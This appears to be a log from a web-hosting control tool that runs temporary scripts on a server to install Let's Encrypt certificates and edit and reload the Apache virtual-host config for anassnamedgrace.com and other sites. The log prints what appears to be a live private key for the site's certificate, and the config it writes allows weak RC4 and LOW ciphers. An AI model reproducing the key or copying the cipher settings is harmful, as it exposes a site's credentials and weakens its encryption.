JKa4C87aELz583WBzfGIzPoB/FG2RajyJQfYkKRG/snGC1jzcye8MqS7b7amvXav
H4BwzirNAgMBAAECggEAJ5RlwS0GfN7wys52aLwYBF1xK9WmPdQcnzsVZFL8R7FN
7ToHMVUoqCp6GZ/FOTf0Ux80lr9o3Ybz/dPW68Tj0zz7MkZ2n536/r65IxZAaRi9
vbUuHv2K+t6h8k0SHElOdeY3D4ibErPSH2VWStIyK7T/gL31RiDWtRrC6YNjEARD
6z3U7GtIx6GINoh7jGTRiTbKc05mdPaKyi+vYnb21rd4KLcLreSh219RmuCaFOgD
+28ASujzSHAdRRa46mD8aaTpkTWc4ULZ6TaNPMl/wO5Sqj3555ipcHimEhNXklaZ
1UjrT84oQtVsoeLtz7xFt4D4Lt7v7jTGG5CKnLgWSQKBgQDr7oRSm5O4nr9aGVXl
cWgIGfTKvFT/ss66iqEUrVTiQOgNvXiqjhl6KXIEqLOoW8DGZInw4kO4kmUCk0Lz
wFgUZOgX1/c0c+6s+V5qmY846TloLRak87hI5/ivrUOlc5F1VA7l1+cqyQRVxC+8
4BC0DFFfX82IwGRPAqHyzowaNQKBgQC5IsEmDbS3yM5qmTBm5aM/41nMeCacH5Yo
9Z3n02sBRwUB2zUXXzs+Pq5pDFdIDkEgM4QaZ1++REb7Ocb409sIVQw3FRVUyhhd
coxdMZc+1nUOkD1UWD2XiMtSpl31Wgb9/+rJluvyFc35LYzKhxe/CHAJqXYse5+B
6sI+xr2hOQKBgQDQuRuxZVfDnhWVZRKbwL+TYzswXHsqF4tSdrBY9ZtB6sAg372v
zbT2YVIwkvsV985M9ccfJ11YHZNlOtihgkmqCTdXWMWnTuUZfCeuURnm9FXINxNw
bPlc7nQRH0zYQ6ysyue/KUmmjV3bbov5IZVFZBxdLwlLcUGMsLyLbXV+/QKBgCv7
Hql8ng7/DFJ0m/QF37dgukeBz6JNOq32U5HsPsJp7b2YJs+rlvZdi692+BEtGbmd
o2dmYW9g5v/tpOAd7C3ZjnJTduLSs+EXQlMtYcHSzrIr//XWlKM4Ix06Wp3bykdz
EYLccKbtGSZ19Ll0SGbgiUUyVdmRcL47V/Pz4L65AoGAKcBdLyHLvN4w9922bNhi
wpp7EpERLpI2T9Atgc0ySAWErCcv9ofDbJIze5d60SZRiHuKlePw5xtbBhhj2611
BsH7UCxuDPpwknabXTDD8+PmrupgqZEeEPXcFesCuWNOLjti0xAaiz/Oa0ilmgxZ
WGzeHuy1OodAZn5ZpWNGFsc=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-13 14:46:25: 

chmod 755 /tmp/pkp842797; /tmp/pkp842797; rm /tmp/pkp842797

2026-06-13 14:46:25: 


dir=/etc/ssl/certs


2026-06-13 14:46:25: 

PUT: /tmp/pkp282280

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-available/anassnamedgrace_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-13 14:46:25: 

chmod 755 /tmp/pkp282280; /tmp/pkp282280; rm /tmp/pkp282280

2026-06-13 14:46:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/anassnamedgrace_www_com.conf 1281

<VirtualHost *:80>
    ServerName	anassnamedgrace.com
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.anassnamedgrace.com
    DocumentRoot	/var/www/anassnamedgrace_www
    <Directory /var/www/anassnamedgrace_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anassnamedgrace/www_access.log combined
    ErrorLog	/var/log/apache2/anassnamedgrace/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anassnamedgrace.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a86a725f22b47d8df1b5d61e4e299a76.crt
    DocumentRoot	/var/www/anassnamedgrace_www
    <Directory /var/www/anassnamedgrace_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/anassnamedgrace/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anassnamedgrace/www_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2026-06-13 14:46:25: 

PUT: /tmp/pkp987534

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=anassnamedgrace_www_com.conf
TARGET=/etc/apache2/sites-available/anassnamedgrace_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	anassnamedgrace.com
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.anassnamedgrace.com
    DocumentRoot	/var/www/anassnamedgrace_www
    <Directory /var/www/anassnamedgrace_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anassnamedgrace/www_access.log combined
    ErrorLog	/var/log/apache2/anassnamedgrace/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anassnamedgrace.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a86a725f22b47d8df1b5d61e4e299a76.crt
    DocumentRoot	/var/www/anassnamedgrace_www
    <Directory /var/www/anassnamedgrace_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anassnamedgrace/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anassnamedgrace/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-available/anassnamedgrace_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf)= /etc/apache2//etc/apache2/sites-available/anassnamedgrace_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-available/anassnamedgrace_www_com.conf= 1'
fi


2026-06-13 14:46:25: 

chmod 755 /tmp/pkp987534; /tmp/pkp987534; rm /tmp/pkp987534

2026-06-13 14:46:25: 




2026-06-13 14:46:25: 

PUT: /tmp/pkp117919

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-13 14:46:25: 

chmod 755 /tmp/pkp117919; /tmp/pkp117919; rm /tmp/pkp117919

2026-06-13 14:46:25: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-13 14:46:25: Establishing a connection
2026-06-13 14:46:26: 

PUT: /tmp/pkp239782

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-13 14:46:26: 

chmod 755 /tmp/pkp239782; /tmp/pkp239782; rm /tmp/pkp239782

2026-06-13 14:46:26: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:2)
                 alias www.anassnamedgrace.com
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:20)
         port 443 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:20)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-13 14:46:26: 

PUT: /tmp/pkp177978

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/anassnamedgrace_www_com.conf')
    show_file('/etc/apache2/ /etc/apache2/etc/apache2/sites-available/anassnamedgrace_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-13 14:46:26: 

chmod 755 /tmp/pkp177978; /tmp/pkp177978; rm /tmp/pkp177978

2026-06-13 14:46:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/anassnamedgrace_www_com.conf	1282

<VirtualHost *:80>
    ServerName	anassnamedgrace.com
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.anassnamedgrace.com
    DocumentRoot	/var/www/anassnamedgrace_www
    <Directory /var/www/anassnamedgrace_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anassnamedgrace/www_access.log combined
    ErrorLog	/var/log/apache2/anassnamedgrace/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anassnamedgrace.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a86a725f22b47d8df1b5d61e4e299a76.crt
    DocumentRoot	/var/www/anassnamedgrace_www
    <Directory /var/www/anassnamedgrace_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anassnamedgrace/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anassnamedgrace/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-13 14:46:26: 

PUT: /tmp/pkp438405

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/a86a725f22b47d8df1b5d61e4e299a76.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-13 14:46:26: 

chmod 755 /tmp/pkp438405; /tmp/pkp438405; rm /tmp/pkp438405

2026-06-13 14:46:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/a86a725f22b47d8df1b5d61e4e299a76.crt	7461
d4:ae:40:db:21:55:15:46:14:31:87:1d:9c:32:07:64

-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBQlQbRiWJNlHiEn/Zw8E1VyXMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjEzMTM0NzU0WhcNMjYwOTExMTM0NzUzWjAeMRwwGgYDVQQD
ExNhbmFzc25hbWVkZ3JhY2UuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAqp9lTykx/2SAoRqDNHDrJfnA2YpwfAreaFroYKD91+hZ/zMKwxP3fCK1
tBzTblha8vRWmjzB2aVfXC/RlcAyyewcqhXqEYf9a0OnNFaPpsW626ORSTtLRfju
08bWnISE5baFp+JOXaG9jF2RxAkxqTS2yJpheW68LxcD20dv0F/OxyZqGpnHf7gI
IWaFItYnHbCWm94xc5CeqIdjFsh04V4e19MO+AzPI7mkff7AS+87l6vmxUmhjq/1
49a2YUBdgRTod3CJTroxwSSmuAvO2hC8+fN1gc3xiMz6AfxRtkWo8iUH2JCkRv7J
xgtY83MnvDKku2+2pr12rx+AcM4qzQIDAQABo4ICOjCCAjYwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FOpBSOUe5QHqUg9vZwaXKgmunTgAMB8GA1UdIwQYMBaAFB8vNb5GFILNQLGueSxV
ePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMS5p
LmxlbmNyLm9yZy8wNwYDVR0RBDAwLoITYW5hc3NuYW1lZGdyYWNlLmNvbYIXd3d3
LmFuYXNzbmFtZWRncmFjZS5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0f
BCcwJTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy8yNC5jcmwwggEMBgor
BgEEAdZ5AgQCBIH9BIH6APgAdgDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa
2Q5SzQAAAZ7BcsTAAAAEAwBHMEUCIBFlVxqkfV0bDQK9J7izg/UeJVmHk4kK9NKL
Rr3TnZf6AiEA19aM6hRuUKX+ClgVArhmXtLQkhFfJykxrNs/Sn4/WFkAfgBGr4Y9
Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ7BcsU8AAgAAAUACZ6fvAQD
AEcwRQIgE3oVoQpvQaleE0G3t46XZryTl+XtXJnURvxHePPBwXsCIQDHHRWKWz06
jhgTbnRsB1Ze9/D3YJ54KEqnmVBrXru32zANBgkqhkiG9w0BAQsFAAOCAQEAD+Zf
uU56FL1pVPMiziVjyNoN5jOKsGGPcO2CrmOPjj4WZOasmmnQzyllYQOIgr5fUeMd
5IWHq8HPGBZApsyHL5XzXIe3UZqqSlreMwyBfHPGlWnWcEokMmKRtQb5QxUQPTkj
Mw4VyFV5zq0fmP5ECD1WA7npX1ozeYDMMgvJPeEpPL4amh4xBBv6IU/uXVlNiHBi
zPI6GQlk+uqQsJIv+6inbZuz17HW0WIcDRu2zpMCANH5xPTAMMNveIqGprQW/WR7
u1/CNNTdyNJqWYr48+6auJYfdBHuJ0MTkumzNGVQY1XH2w6R+4sCFnWt9i7SZTY3
SO0cxfWLcp8hvUWBtA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCqn2VPKTH/ZICh
GoM0cOsl+cDZinB8Ct5oWuhgoP3X6Fn/MwrDE/d8IrW0HNNuWFry9FaaPMHZpV9c
L9GVwDLJ7ByqFeoRh/1rQ6c0Vo+mxbrbo5FJO0tF+O7TxtachITltoWn4k5dob2M
XZHECTGpNLbImmF5brwvFwPbR2/QX87HJmoamcd/uAghZoUi1icdsJab3jFzkJ6o
h2MWyHThXh7X0w74DM8juaR9/sBL7zuXq+bFSaGOr/Xj1rZhQF2BFOh3cIlOujHB
JKa4C87aELz583WBzfGIzPoB/FG2RajyJQfYkKRG/snGC1jzcye8MqS7b7amvXav
H4BwzirNAgMBAAECggEAJ5RlwS0GfN7wys52aLwYBF1xK9WmPdQcnzsVZFL8R7FN
7ToHMVUoqCp6GZ/FOTf0Ux80lr9o3Ybz/dPW68Tj0zz7MkZ2n536/r65IxZAaRi9
vbUuHv2K+t6h8k0SHElOdeY3D4ibErPSH2VWStIyK7T/gL31RiDWtRrC6YNjEARD
